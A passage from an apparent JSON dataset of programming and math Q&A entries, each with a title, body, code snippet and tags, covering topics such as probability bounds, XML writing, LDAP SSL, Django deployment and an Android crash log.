templates preprocessor"], "5110680": ["How to obtain tail bounds for a sum of
dependent and bounded random variables?", "Note: I divide this question to two
separated question not to be duplicate version.\nI am looking for tail bounds
(preferably exponential) for the sum of dependent and bounded random variables. \
nConsider $$K_{ij}=\\sum_{r=1}^N\\sum_{c=1}^N W_{ir}W_{jc}$$ where $i \\neq j$,
$W\\in \\{+1, -1\\}$ and $W$ are i.i.d. random variables $\\operatorname{Bernoulli}
(0.5)$. How can I obtain an exponential bound over $Pr[K_{ij} \\geq \\epsilon] \\
leq \\exp(?)$ where $\\epsilon$ is a positive value.\nAnswer: $K_{ij}$ can be
considered as the multiplication of two independent Binomial random variables,
i.e., $$K_{ij}=\\left(\\sum_{r=1}^N W_{ir}\\right)\\left(\\sum_{c=1}^N W_{jc}\\
right)$$, then the moment generating function can be evaluated and then by using
the Chernoff we can have a tail bound for $K_{ij}$.\nThanks a lot in advance. \n",
"", "probability"], "3976593": ["A few questions about XmlTextWriter ", "I am new
to editing XML and I have a few questions to problems I'm running into.\nFirst: how
do I add new lines after each . I found examples using but it doesn't seem to make
any new lines.\nSecond: I think this may not be doing anything because of the
previous problem but i wanted to indent my code using this at the end: , but it
doesn't seem to do anything (most likely because i have no new lines).\nThird:
Since I'm appending this to a previous file i stripped out the closing tag for my
main parent so that i could add this new data. I was hoping i could just have a to
close the final tag but since i dont create an opening tag when im writing it
doesn't seem to realize that there's an open tag. Is there an good way to do this
or should i just end in code to write at the end of the file.\nAny comments or
suggestions are appreciated.\n", "writer.WriteEndElement();", "c# .net xml xml-
serialization xmltextwriter"], "3608550": ["Switch spaces trackpad MacBook Pro", "I
want to be able to change spaces by swiping.\nExample:\n\nSwiping right would
switch to the space to the right\nSwiping down would switch to the space
underneath\n\nI tried BetterTouchTool but it only enables me to see all spaces, not
switch between them.\nAnybody know a way, or if this is even possible?\n", "",
"macbook spaces multi-touch touchpad"], "892017": ["Is it possible to use a
UIWebView as a splash page", "I am trying to display a web page as a splash page on
my iphone app. I displayed an UIWebView using a modal controller and used a timer
to dismiss the modal view. But the webpage didn't come on at all. When I took the
timer out, it displayed properly, but then it stayed display and I can't get into
my app. :-( Any idea or suggestion? Is this something to do with multithreading,
and is not possible to do?\nThanks,\nCharles.\n", "", "iphone uiwebview splash"],
"2819841": ["Can anyone recommend a primer to Erlang?", "I've recently found myself
getting more and more interested in Erlang.\nI've purchased a book (Programming in
Erlang) and started reading up on the basics. Reading books is time consuming so I
am looking to shortcut this a bit and go back to the book later.\nWhat I lack is a
good introductory tutorial. Kind of like, hands on, this is what you need to get
started in Erlang, these are best practices, this is how you organize code and this
is how you do a small project.\nI've googled this topic extensively and haven't had
much luck. ;)\nUpdate, 2011-04-22\nJust a small update since this question keeps
getting lots of views still. I haven't written any large chunks of code with Erlang
thus far and that's probably the number one problem. I need to do stuff to get into
it.\nFor a primer, any of the links below work and I can also recommend checking
out a software which is written in Erlang to get a feel for it. It helps
tremendously if you need to add a feature to said application and start tinkering
with.\nSo for example, we've been using a lot of CouchDB and I actually managed to
extend part of the code handling its view groups with a feature. I haven't asked
anyone to pull my changes or blogged about since I'm still testing it, but it seems
to actually work and I'm pretty excited.\n", "", "tutorials erlang"], "3540696":
["Error in train and predict of my opencv program", "\nOpenCV Error: Bad argument
(Empty training data was given. You'll\n need more than one sample to learn a
model.) in train, file\n
C:/slave/WinInstallerMegaPack/src/opencv/modules/contrib/src/facerec.cpp,\n line
316\n\nI get the above error when I try to run the below program. My intension is
to give some input images and check the and functions of opencv. Is anything
wrong in the below code snippet?\n\n", "train()", "opencv computer-vision face-
recognition"], "5475770": ["The Logarithm of Subtraction of two variables", "What
is the result of this expression , It should mention that the \nis natural
logarithm.\n$$\n\\log\\left(\\exp(-x) - \\exp(-y)\\right)\n$$\nCould we use the
formula which mentioned in wikipedia about logarithmic identities?\n$$\n\\log_{b}(a
-c) = \\log_b a + \\log_b(1- \\frac{c}{a})\n$$\nand does any body know the refrence
of the above mentioned formula in wikipedia?\n", "log", "logarithms"], "400456":
["python running multiple instances", "hi lets assume i have a simple programm in
python. This programm is running every five minutes throught cron. but i dont know
how to write it so the programm will allow to run multiple processes of its self
simultaneously. i want to speed things up ...\n", "", "python process jobs
subprocess fork"], "5036106": ["VBScript to delete duplicate files with different
names and extensions", "I have searched extensively for a VBscript answer to this,
but have given up and need help.\nWhat I'm trying to accomplish is to find
obviously duplicate files (obvious to humans, anyway) with different filenames. I
need to delete the duplicates, keeping those WITHOUT the track number in the name.
I also need to delete any M4A versions if I already have it in MP3.\nIs this even
possible? I have done a little VBscripting, but this is way over my limited
programming ability. I'm not even going to bother copying here the code that I
have tried because none of it is working. \nHere's a sample folder I'm trying to
clean up. I want only the two unique songs in here to remain. I only want the MP3
version, and I don't want the track numbers in their names.\n07 Falling In Love (Is
Hard On The K.mp3\n1-15 Love In An Elevator.m4a\n1-15 Love In An Elevator.mp3\n15
Love In An Elevator.mp3\n2-07 Falling In Love (Is Hard On The.m4a\n2-07 Falling In
Love (Is Hard On The.mp3\nFalling In Love (Is Hard On The Knees).mp3\nLove In An
Elevator.mp3\nThanks!\n", "", "vbscript duplicate-removal"], "5931873": ["Accessing
Google Docs Metadata feed with gdata-objectivec-client", "What's the simplest why
to access/parse Google Docs Metadata feed with gdata-objectivec-client?\n", "",
"objective-c cocoa google gdata-api google-docs"], "2234148": ["How to enable SSL
for LDAP with Apache Directory Studio?", "I am using Apache Directory Studio for
testing LDAP services for an application. I am lost in configuring the LDAP with
SSL. \nSo far I've tried:\n\nStarted ApacheDS with port 10389 (ldap://) and also on
10636 (ldaps://)\n\nHere's the screenshot of ldap config in Apache Directory
studio:\n\nThen I followed the instructions as mentioned here: How to enable SSL\nI
generated the keys using keytool:\n\nand then I am using this key in Apache
Directory
Studio (and restarting the LDAP server), I end up with this error:\n\nCan someone
tell what I am doing wrong? Is there something I am missing?\n", "C:\\LDAP\\
keys>keytool -genkey -keyalg \"RSA\" -dname \"\nmojo,cn=com\" -alias mojo -keystore
mojo1.ks -storepass secret -validity 3650\n", "ldap"], "3493751": ["detect runtime
change in executable using debugger", "I have a desktop application in c++. I want
to check if any runtime change in the executable using debugger has been done or
not. And if done executable will quit. How I check it?\nI have already used
CheckRemoteDebuggerPresent but hacker made changes in exe to skip this statement\
nedit: \nCan we forcefully stop debugger if it exists and if not it will just act
as a dummy code. I have tried DebugActiveProcessStop but it doesnt work on current
process i guess\n", "", "c++ security executable"], "4154808": ["How can I
determine the source IP for spam ?", "We've recently been recipient to an increase
in spam and I'd like to determine the IP that the spam is coming from. My hope is
that it will be coming from a limited number of IPs that I can manually block.\n",
"", "exchange-2010"], "3404784": ["Illogical benchmarking?", "I witnessed the
following weird behavior. I have two functions, which do almost the same - they
measure the number of cycles it takes to do a certain operation. In one function,
inside the loop I increment a variable; in the other nothing happens. The variables
are volatile so they won't be optimized away. These are the functions:\n\nThere are
some non-standard functions there but I'm sure you'll manage.\nThe thing is, the
first function returns 4, while the second function (which supposedly does less)
returns 6, although the second one obviously does less than the first one.\nDoes
that make any sense to anyone?\nActually I made the first function so I could
reduce the loop overhead for my measurement of the second. Do you have any idea how
to do that (as this method doesn't really cut it)?\nI'm on Ubuntu (64 bit I
think).\nThanks a lot.\n", "unsigned int _osm_iterations=5000;\n\ndouble
osm_operation_time(){\n // volatile is used so that j will not be optimized, and
++ operation\n // will be done in each loop\n volatile unsigned int j=0;\n
volatile unsigned int i;\n tsc_counter_t start_t, end_t;\n start_t =
tsc_readCycles_C();\n for (i=0; i<_osm_iterations; i++){\n ++j;\n }\n
end_t = tsc_readCycles_C();\n if (tsc_C2CI(start_t) ==0 || tsc_C2CI(end_t) ==0
|| tsc_C2CI(start_t) >= tsc_C2CI(end_t))\n return -1;\n return
(tsc_C2CI(end_t)-tsc_C2CI(start_t))/_osm_iterations;\n}\n\ndouble osm_empty_time()
{\n volatile unsigned int i;\n volatile unsigned int j=0;\n tsc_counter_t
start_t, end_t;\n start_t = tsc_readCycles_C();\n for (i=0;
i<_osm_iterations; i++){\n ;\n }\n end_t = tsc_readCycles_C();\n if
(tsc_C2CI(start_t) ==0 || tsc_C2CI(end_t) ==0 || tsc_C2CI(start_t) >=
tsc_C2CI(end_t))\n return -1;\n return (tsc_C2CI(end_t)-
tsc_C2CI(start_t))/_osm_iterations;\n}\n", "c optimization loops benchmarking"],
"5163697": ["Third Party WPF suites w/ Automated/Coded UI Testing", "My team is
diving headfirst into a new project and we are taking the opportunity to bring
ourselves up to date with Scrum methodology, new technology etc. Part of this
involves trying to automate our QA process, using both Microsoft Test Manager and
VS2010 Coded UI tests.\nHowever, we are having problems getting the automated test
playback to work with our currently-selected WPF control library, the DevExpress
XPF suite. We've been using DevExpress for their WinForms and ASP.NET controls for
years now, but this is our first experience with their WPF controls, and with
automated UI tests, and the two don't seem to work well together.\nIn particular,
trying to play back a recorded test that interacts with a grid control never works
right, and even on simple controls the playback seems to get confused over which
editor it should be interacting with. In the action recordings our test lead is
generating from MTM I see a lot of this:\n\nAnd even worse, inside of the grids:\n\
nNow, I have seen plenty of chatter on DevX's forums about their WinForms controls
not supporting MSAA well enough for coded UI tests to work, but I thought that WPF
used a different mechanism for automated UI testing that was supposed to work
better. So, my questions are:\n\nIs there a way to get the DevX XPF controls to
work better with coded/automated UI tests?\nIf not, is there an alternative XPF
control suite that is known to work well with coded/automated UI tests?\n\nI'm
specifically interested in a grid-like component with sorting, grouping, etc., a
navbar-like component, and custom editors (dates, numbers, etc), all which support
a unified system-wide theming.\n(Also, if this type of thing is easy enough to do
using just native WPF controls and styles, that would be helpful to know as well.)\
nEDIT: Since there appears to be no WPF control suite that actually works with MTM,
we're being forced to use two separate testing tools at the sam time. Per several
of the answers here, we're strongly leaning towards TestComplete. Hopefully the
situation improves soon.\n", "Type '5236' in 'PART_Editor' text box\nType '253' in
'PART_Editor' text box\n", "wpf devexpress automated-tests coded-ui-tests
microsoft-test-manager"], "4964977": ["Distribution question", "(i) Let $X\\mid
Y \\sim \\text{Poisson}(Y)$, and $Y \\sim \\text{Exp}(\\lambda)$. Find the
distribution of $X$.\n(ii) Let $X\\mid Y \\sim \\text{Poisson}(Y)$, and $Y \\sim \\
text{Poisson}(\\mu)$. Show that $G_{X+Y}(s) = \\text{Exp}(\\mu(se^{s-1}-1).$\nI'm
doing past exam paper questions and can't seem to find anything in my notes to
explain how to do these types of questions or any examples. Would someone mind
doing a step-by-step for dummies? Help is much appreciated!\n", "", "probability
probability-distributions"], "3916441": ["Java font much smaller than it should
be", "I'm having a problem with the font size, it is much smaller than it should be
and even increasing the size parameter makes no difference.\nThe preferred size is
to show that it's not the size constricting it, and the text is random and long to
show how small the text is. It is all fonts as well not just sans-serif, but if I
use a system default font it is normal. I also restarted my computer to make sure
it hadn't loaded the font into cache wrong.\n\npanel is just a JPanel with a normal
flowlayout.\nHere is an image of the text: \n \nThe text is approximately 5 pixels
tall. Thanks\n", "JLabel time = new
JLabel(\"sdfghgfdcfghgvghbvhgvghhvghgvghhbhbhb\");\ntime.setFont(new Font(\"sans-
serif\", 13, Font.ITALIC));\ntime.setPreferredSize(new Dimension(50, 50));\
npanel.add(time);\n", "java swing fonts awt"], "613110": ["CRM Allow duplicate
records N:N relationship", "I have two entities \"A\" and \"B\", where B is a
related entity to the parent A. The relationship type is N:N relationship, and I
want to add multiple instances of a record from \"B\". For example I want two
instances of the \"B_1\" record under the record of \"A\". How can I achieve this?\
nCRM does not allow it and gives the error:\n\"A record with these values already
exists. A duplicate record cannot be created. Select one or more unique values and
try again.\n", "", "many-to-many entity duplicates crm"], "4105768": ["Get excerpt
using get_the_excerpt outside a loop", "I have a code that call and it works, but
return empty. How can i make it work? \nThis code is inside a plugin called \"WP
Facebook Open Graph protocol\". Here's the part i want to change:\n\nHere, always
fail, and don't work anymore (deprecated).\nSo, how can i display the excerpt
there?\nps: I'm using \"Advanced Excerpt\" plugin as well\n", "get_the_title()",
"excerpt loop the-excerpt"], "658021": ["How Turn on only Camera flash light
programmatically in android?", "I want to turn on only camera flash light (not with
camera preview) programeticaly in android. I googled for it but the help i found
refer me to view this page \nbut i need sample code to turn the light on/off!\
nplease help with sample code or the link where i can get the code!\n", "",
"android android-camera"], "4843401": ["256 color in real console", "I have in
my .bashrc\n\nbut this cause blinking all colored text (ls --color, in vim etc.) in
real console (CTRL + ALT + F1) .\nSo is there any possibility to recognize in
which console I am (real or virtual) so I can export TERM variable with valid
value?\n[EDIT]\nI found alternative solution only:\nfor vim user (in .vimrc)\n\nor
for xterm in .Xdefaults (after that xrdb -load .Xdefaults)\n\nor for screen
(.screenrc)\n\n", "export TERM=xterm-256color\n", "terminal environment-variables
console"], "4133943": ["Using iCarousel framework on storyboards", "Has anyone
tried to implement iCarousel with storyboards. I have an existing project, but not
sure if this will work with Storyboards or not. Has anyone done this successfully,
or provide any directions on what I need to do to implement this in a Storyboard
project.\n", "", "objective-c ios storyboard"], "1905460": ["change in base class
requiring recompilation of derived", "in Bjarne's \"C++...\" I have just read
that \n\nthe way most C++ implementations work implies that a change in the size of
a base class requires a recompilation of all derived classes\n\n$12.4.3 p.318\nin
the size? or rather change in general?\n", "", "c++ implementation"], "2463121":
["WebView as Tab Content", "I'm mucking around with tabs(using tutorials from the
Dev Site) and I'm setting up tabs like so:\n\nSo that's working fine, when I click
the 'Go to Google' tab, it shows a WebView, but what I want to know, is how do I
make it load a specific site, at the moment it's loading a blank WebView.\nAny help
appreciated.\nThanks a bunch.\n",
"setupTab(new WebView(this), \"Go to Google\");\n", "java android mobile
webview"], "5803269": ["issue in loading static contents in
django1.3+mod_wsgi+apache2", "I am facing problem with static files(Django1.3)
when tried to deploy it in my local apache server(apache2+mod_wsgi), the problem
only for the static contents other parts ok[its worked in the devlopment server].\
nMy project now in a folder 'testcloud' in Ubandu Desktop,My project\nname is
DjangoApis,Following is my project
structure:\nDesktop->testcloud:\n\n/etc/apache2/sites/enabled/DjangoApis:\n\n\n\
napache errorlog:\n\nerrorlog of firebug:\n\nNote I used collectstatic command.\
nPlease help me to solve the issue,Thanks in advace.\n", "DjangoApis\n ...\n
mywebapp\n static\n templates\n
templatetags\n urls.py\n views.py\n myapis\n
.....\nSettings.py\nSTATIC_ROOT = '/home/jisson/Desktop/testcloud.aws/DjangoApis/\
nteststaticfiles/'\n STATIC_URL = '/static/'\n\nTEMPLATE_CONTEXT_PROCESSORS = (\
n\"django.core.context_processors.media\",\
n\"django.core.context_processors.static\",\n)\n\nTEMPLATE_DIRS = (\n
os.path.join(os.path.dirname(__file__),'templates').replace('\\\n\\','/'),\n)\
nINSTALLED_APPS = (\n 'DjangoApis.mywebapp',\n 'DjangoApis.myapis',\n)\
nSTATICFILES_DIRS = (\n
os.path.join(os.path.dirname(__file__),'static').replace('\\\n\\','/'),\n)\
nSTATICFILES_FINDERS = (\n
'django.contrib.staticfiles.finders.FileSystemFinder',\n
'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n)\n", "django apache
static mod-wsgi django-1.3"], "3911743": ["Fastest way to find (natural) roots of a
value on the unit circle", "_EDIT_ I'd like to do this to $d$ digits of precision.\
nI wonder what the fastest way to get roots of a value on the unit circle is. More
specifically, if I have a fraction of naturals, $p/q$, and natural $n$, what is the
fastest way to find\n$\\sqrt[n]{e^{i(2\\pi)p/q}}$\nI'm considering using lookup
tables and such. I guess that I need the answers to be in the form $a+bi$, where
$a$ and $b$ are in exponential notation form. I want to know what method takes the
least amount of memory and time.\nTo summarize, I'm interested in the best
asymptoticly performing method in terms of time and memory.\n", "", "numerical-
methods complex-numbers roots"], "4104717": ["\"No package <package name>
available.\"?", "I have installed a few packages using the yum package manager
(e.g., I've installed the statistical programming language R), but lately I have
been unable to install packages. For example, I want to install the package so
that I can create a remote desktop connect with another computer, so at the
terminal prompt I type and receive the following output:\n\nWhy is this happening?
How do I fix it?\nADDITIONAL INFORMATION:\n\n", "tsclient", "yum"], "3506600":
["Apache Tomcat - Access Files Outside Webroot", "I had deployed an application in
the application server Apache \nTomcat. My GWT application needs to access files in
folder \"C: \n\\Storage\". In development mode the application runs like a charm
but \nin an external web server (Apache Tomcat) it does not run, crashes \nwhen it
tries to copy files from \"C:\\Storage\" to \"\\docs\". I think this \nmight be
because i'm trying to access files outside the webroot. How \ncan i solve this
situation? Using apache commons libs to deal with \nfiles? Could be permissions? I
need some enlightment, some help will \nbe very apreciated. \nThanks in advance, \
nJo\u00e3o Cavaleiro.\n", "", "java apache tomcat io web"], "613111": ["empty EL
expression on JSF datatable var attribute's field always false", "I have the
following EL expression which references a property on the var attribute:\n\n is a
String property on the Address bean, which is accessed via the property which
returns a .\nHere is the EL expression in context:\n\nThe problem is the expression
always returns false, regardless of whether addressLine1 is the empty string or
not. As if to confirm this, The facelet Validator in Eclipse produces the following
warning:\n\nThis empty expression always evaluates to false. Only string, maps,\n
arrays and collection have meaningful values for the empty operator\n\nBut I'm not
sure how to fix this. I'm running JBoss AS 7.1 with jboss-el-api_2.2_spec-
1.0.0.Final\n", "empty _item.addressLine1", "jsf el"], "29472": ["Why am I
getting \"Invalid Internal state\" reflection exception with Castle DynamicProxy?",
"We added DynamicProxy to our ASP.NET web app a couple of weeks ago. The code ran
fine in dev and QA, but when we pushed to production, we got the following
exception (top of stack trace only):\n\
nSystem.Reflection.Emit.TypeBuilder._InternalSetMethodIL(Int32 methodHandle,
Boolean isInitLocals, Byte[] body, Byte[] LocalSig, Int32 sigLength, Int32
maxStackSize, Int32 numExceptions, __ExceptionInstance[] exceptions, Int32[]
tokenFixups, Int32[] rvaFixups, Module module) +0\n
System.Reflection.Emit.TypeBuilder.InternalSetMethodIL(Int32 methodHandle, Boolean
isInitLocals, Byte[] body, Byte[] LocalSig, Int32 sigLength, Int32 maxStackSize,
Int32 numExceptions, __ExceptionInstance[] exceptions, Int32[] tokenFixups, Int32[]
rvaFixups, Module module) +56\n
System.Reflection.Emit.TypeBuilder.CreateTypeNoLock() +1033\n
System.Reflection.Emit.TypeBuilder.CreateType() +99\n
Castle.DynamicProxy.Generators.Emitters.AbstractTypeEmitter.CreateType(TypeBuilder
type) +72\n
Castle.DynamicProxy.Generators.Emitters.AbstractTypeEmitter.BuildType() +96\n
Castle.DynamicProxy.Generators.ClassProxyGenerator.GenerateType(String name, Type[]
interfaces, INamingScope namingScope) +854\n
Castle.DynamicProxy.Generators.ClassProxyGenerator.GenerateCode(Type[] interfaces,
ProxyGenerationOptions options) +834\n
Castle.DynamicProxy.DefaultProxyBuilder.CreateClassProxyType(Type classToProxy,
Type[] additionalInterfacesToProxy, ProxyGenerationOptions options) +133\n
Castle.DynamicProxy.ProxyGenerator.CreateClassProxyType(Type classToProxy, Type[]
additionalInterfacesToProxy, ProxyGenerationOptions options) +52\n
Castle.DynamicProxy.ProxyGenerator.CreateClassProxy(Type classToProxy, Type[]
additionalInterfacesToProxy, ProxyGenerationOptions options, Object[]
constructorArguments, IInterceptor[] interceptors) +308\n
Castle.DynamicProxy.ProxyGenerator.CreateClassProxy(Type classToProxy, Type[]
additionalInterfacesToProxy, ProxyGenerationOptions options, IInterceptor[]
interceptors) +48\n Castle.DynamicProxy.ProxyGenerator.CreateClassProxy(Type
classToProxy, ProxyGenerationOptions options, IInterceptor[] interceptors) +44\nIt
worked fine when we first pushed the code, and an IIS reset fixed it, so I'm
assuming it's thread related, but I couldn't find anything on the interwebs
regarding best practices for thread-safety proxy generation. Suggestions?\nUPDATE:
After reading some more on the issue, especially here, I realized one potential
issue -- namely that I had not overwritten Equals/GetHashCode for the
implementation of IProxyGenerationHook I had written, which would prevent
DynamicProxy from caching it's types. As I can find next to nothing on the
exception I saw in general let alone related to DP, I'm gonna assume that it was
the lack of caching of types caused by my omission that was the root cause of the
problem, though I'd love a confirmation.\nFor the record, my object creation is
pretty vanilla:\n\n", "[ArgumentNullException: Invalid internal state.]\n",
"asp.net reflection thread-safety castle-dynamicproxy"], "5010486": ["How can I
make absolute positioned elements not overlapping each other?", "Here is what I
want to do: I'm using gridster in order to create a form creation IDE. The user
drags elements in the grid, and can move them around.\nEverything works great
inside the editor, but when I try to use those forms but I'm having issues when the
elements inside the grid positions become bigger than the grid block that contains
them, making one element overlapping another.\nWhat I'm looking for is an automated
solution that when given a bunch of absolute positioned elements, it moves them up
or down so they don't overlap. Does such thing exist?\n", "", "javascript jquery
positioning absolute-positioning"], "5139420": ["Execute PHP files in mounted
directory from VirtualBox host system is not working", "I've set up a VirtualBox
with a Debian 6.0 to act as a webserver. The host machine is my PowerBook running
OS X 10.7.3.\nUnder I have a webproject in symfony that I used to develop under OS
X.\nNow I've mounted that directory to in the virtual machine, so I have a
environment that's exacly like the production enviroment.\nThe problem is php won't
execute files in the mounted directory for some reason. When I call I get a white
page, no error message neither in frontend nor in any apache/system logs.\nIf I
create a file with in a non shared directory, and then executing this via CLI or
web browser, I get the desired output.\nHowever when I call the same file in the
shared directory I get no output.\nThe mounted filesystem is read/writeable and
this works fine. Even static files are delivered correctly. It's only php that
doesn't do anything.\nDoes someone have a clue what could be the problem?\nI've
already followed this advice which helped me a lot: How do I set the Apache2
DocumentRoot to a \"vboxsf\" VirtualBox Shared Folder? (permissions issue?)\n",
"/User/cb0/Sites", "linux virtualbox apache mount php"], "5873271": ["Adding
Cleaver (PhoneGap / Cordova as component) view to an existing ViewController's view
hierarchy", "The documentation for using PhoneGap / Cordova WebView as an embedded
component recommends doing:\n\nto embed the view.\nIsn't it bad practice for a view
to belong to multiple controllers? I thought it would cause issues with messages
like or ..\nCan anyone
confirm for me that reaching into the instantiated , grabbing its view and then
adding it to my own controllers view hierarchy is the right approach?\n", "[myView
addSubview:viewController.view];\n", "ios phonegap cordova"], "5159486": ["Non
framework implementation of a hierarchical drop down for Firefox", "I need a
hierarchical drop down for use within a browser, preferably Firefox. I'd rather
not use a framework like jQuery. Please spare me the questions as to why.\n",
"<select><option/></select>", "select drop-down-menu hierarchical-data html-
select"], "1785040": ["Serialize a generic collection specifying element names for
items in the collection", "I have a simple class derived from a generic list of
string as follows:\n\nwhen I serialize this, I get the following XML:\n\nIs there
any way to override the xml element name which is used for serializing items in the
collection?\nI would like the following xml to be produced:\n\n", "[Serializable]\
n[System.Xml.Serialization.XmlRoot(\"TestItems\")]\npublic class
TemplateRoleCollection : List<string>\n{\n\n}\n", ".net serialization xml-
serialization"], "5914422": ["My camera application crashes while switching on
it.", "While switching on my camera application i am getting the following command
and it is going to close. I have added more code recognising the user voice
command. The heap memory is creating the problem, but i am not able find the exact
reason. Please help.\n\n", "01-02 06:30:47.677: INFO/ActivityManager(291):
app/in.co.my.android.camera[INITIAL] app.idle/false\n01-02 06:30:47.677:
INFO/ActivityManager(291): START {act=android.intent.action.MAIN
cat=[android.intent.category.LAUNCHER] flg=0x10200000
cmp=in.co.my.android.camera/.stillimagecamera.Camera} from pid 788\n01-02
06:30:47.747: INFO/ActivityManager(291): app/in.co.my.android.camera[RESUMED]
app.idle/false ...realStartActivityLocked\n01-02 06:30:47.747:
INFO/CameraBaseActivity(14632): onCreate start\n01-02 06:30:47.755:
DEBUG/IntentParameters(14632): DCFsaveCapture=false, ImageCapture=false\n01-02
06:30:47.755: DEBUG/IntentParameters(14632): SaveUri=null, CropValue=null,
CameraStyle=0\n01-02 06:30:48.005:
DEBUG/in.co.my.android.camera.stillimagecamera.RecognizerTask(14632): waiting\n01-
02 06:30:48.005: INFO/ActivityManager(291): app/com.google.android.tts[INITIAL]
app.idle/false\n01-02 06:30:48.005: INFO/ActivityManager(291): START
{act=android.speech.tts.engine.CHECK_TTS_DATA
cmp=com.google.android.tts/.CheckVoiceData} from pid 14632\n01-02 06:30:48.013:
DEBUG/Camera(14632): onCreateImpl start\n01-02 06:30:48.052:
INFO/CameraBaseActivity(14632): onContentChanged\n01-02 06:30:48.060:
DEBUG/Camera(14632): onCreateImpl end\n01-02 06:30:48.060: DEBUG/Camera(14632):
[ 01-02 06:30:48.091 14632:0x3931 F/libc ]\n01-02 06:30:48.060:
DEBUG/Camera(14632): Fatal signal 11 (SIGSEGV) at 0xe8a4a3f4 (code=1)\n01-02
06:30:48.513: INFO/ActivityManager(291): app/com.google.android.tts[RESUMED]
app.idle/false ...realStartActivityLocked\n01-02 06:30:48.513:
WARN/ActivityManager(291): Activity pause timeout for ActivityRecord{41c69028
in.co.my.android.camera/.stillimagecamera.Camera}\n01-02 06:30:48.521:
INFO/ActivityManager(291): app/in.co.my.android.camera[RESUMED]
app.idle/false ...resumeTopActivityLocked\n01-02 06:30:48.599: INFO/DEBUG(13939):
*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***\n01-02
06:30:48.599: INFO/DEBUG(13939): Build fingerprint:
'SBM/SBM104SH/SBM104SH:4.0.3/A3080/00.00.00:eng/test-keys'\n01-02 06:30:48.599:
INFO/DEBUG(13939): pid: 14632, tid: 14641 >>> in.co.my.android.camera <<<\n01-02
06:30:48.599: INFO/DEBUG(13939): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault
addr e8a4a3f4\n01-02 06:30:48.599: INFO/DEBUG(13939): r0 40124b34 r1 008f4000 r2
e8a4a3e8 r3 00ad53d8\n01-02 06:30:48.599: INFO/DEBUG(13939): r4 00b81a38 r5
00aadac8 r6 00000158 r7 00000001\n01-02 06:30:48.599: INFO/DEBUG(13939): r8
00aa01d0 r9 00000025 10 00000008 fp 5b443c04\n01-02 06:30:48.599:
INFO/DEBUG(13939): ip 00000158 sp 5b443b90 lr 400ed8fc pc 400f1102 cpsr
a0000030\n01-02 06:30:48.599: INFO/DEBUG(13939): d0 0000000000000000 d1
0000000000000000\n01-02 06:30:48.599: INFO/DEBUG(13939): d2 00000003786e6968 d3
6e6968707374656b\n01-02 06:30:48.599: INFO/DEBUG(13939): d4 41d2d7d841d48bd8 d5
41b07ac841c0aec0\n01-02 06:30:48.599: INFO/DEBUG(13939): d6 3cea65d400000000 d7
fffffffe4188c4d0\n01-02 06:30:48.599: INFO/DEBUG(13939): d8 0000000000000000 d9
0000000000000000\n01-02 06:30:48.599: INFO/DEBUG(13939): d10 0000000000000000 d11
0000000000000000\n01-02 06:30:48.599: INFO/DEBUG(13939): d12 0000000000000000 d13
0000000000000000\n01-02 06:30:48.599: INFO/DEBUG(13939): d14 0000000000000000 d15
0000000000000000\n01-02 06:30:48.599: INFO/DEBUG(13939): d16 3fb9750000000000 d17
3fdfffffffffffcb\n01-02 06:30:48.599: INFO/DEBUG(13939): d18 3fe0000000000000 d19
3fe000000000001a\n01-02 06:30:48.599: INFO/DEBUG(13939): d20 0000000000000000 d21
0000000000000000\n01-02 06:30:48.599: INFO/DEBUG(13939): d22 0000000000000000 d23
0000000000000000\n01-02 06:30:48.599: INFO/DEBUG(13939): d24 0000000000000000 d25
0000000000000000\n01-02 06:30:48.599: INFO/DEBUG(13939): d26 0000000000000000 d27
0000000000000000\n01-02 06:30:48.599: INFO/DEBUG(13939): d28 0100010001000100 d29
0100010001000100\n01-02 06:30:48.599: INFO/DEBUG(13939): d30 0000000000000000 d31
3fe7fffff4000005\n01-02 06:30:48.599: INFO/DEBUG(13939): scr 20000012\n01-02
06:30:48.724: INFO/DEBUG(13939): #00 pc 00016102 /system/lib/libc.so
(dlfree)\n01-02 06:30:48.724: INFO/DEBUG(13939): #01 pc 00016798
/system/lib/libc.so (free)\n01-02 06:30:48.724: INFO/DEBUG(13939): #02 pc
0006bcf0 /system/lib/libicuuc.so (uprv_free_46)\n01-02 06:30:48.724:
INFO/DEBUG(13939): #03 pc 00051a24 /system/lib/libicuuc.so
(uscript_closeRun_46)\n01-02 06:30:48.724: INFO/DEBUG(13939): #04 pc
000a7d42 /system/lib/libicui18n.so (_ZN6icu_4612RegexPattern3zapEv)\n01-02
06:30:48.724: INFO/DEBUG(13939): #05 pc 000a7d72
/system/lib/libicui18n.so (_ZN6icu_4612RegexPatternD2Ev)\n01-02 06:30:48.732:
INFO/DEBUG(13939): #06 pc 000a7d94 /system/lib/libicui18n.so
(_ZN6icu_4612RegexPatternD0Ev)\n01-02 06:30:48.732: INFO/DEBUG(13939): #07
pc 000106b2 /system/lib/libnativehelper.so\n01-02 06:30:48.732: INFO/DEBUG(13939):
#08 pc 0001ebb0 /system/lib/libdvm.so (dvmPlatformInvoke)\n01-02 06:30:48.732:
INFO/DEBUG(13939): #09 pc 0005822e /system/lib/libdvm.so
(_Z16dvmCallJNIMethodPKjP6JValuePK6MethodP6Thread)\n01-02 06:30:48.732:
INFO/DEBUG(13939): code around pc:\n01-02 06:30:48.732: INFO/DEBUG(13939): 400f10e0
60a460e4 4854e01e 44784954 e0174479 .`.`..THTIxDyD..\n01-02 06:30:48.732:
INFO/DEBUG(13939): 400f10f0 689a4853 69014478 d308428b d306428a SH.hxD.i.B...B..\
n01-02 06:30:48.732: INFO/DEBUG(13939): 400f1100 60d4609c 60e360a2 61a32300
484de00a .`.`.`.`.#.a..MH\n01-02 06:30:48.732: INFO/DEBUG(13939): 400f1110
4478494d e0034479 494d484c 44794478 MIxDyD..LHMIxDyD\n01-02 06:30:48.732:
INFO/DEBUG(13939): 400f1120 fe34f7fd 4478484b 11b4f8d0 d503078b ..4.KHxD........\
n01-02 06:30:48.732: INFO/DEBUG(13939): code around lr:\n01-02 06:30:48.732:
INFO/DEBUG(13939): 400ed8dc e2166903 1a000018 e5945000 e1a02004 .i.......P... ..\
n01-02 06:30:48.732: INFO/DEBUG(13939): 400ed8ec e2055a02 e1a00005 e3851001
ebffecd7 .Z..............\n01-02 06:30:48.732: INFO/DEBUG(13939): 400ed8fc
e3500000 13856002 1a000001 ea000009 ..P..`..........\n01-02 06:30:48.732:
INFO/DEBUG(13939): 400ed90c ebfffe87 e1a01004 e1a00006 ebffecd7 ................\
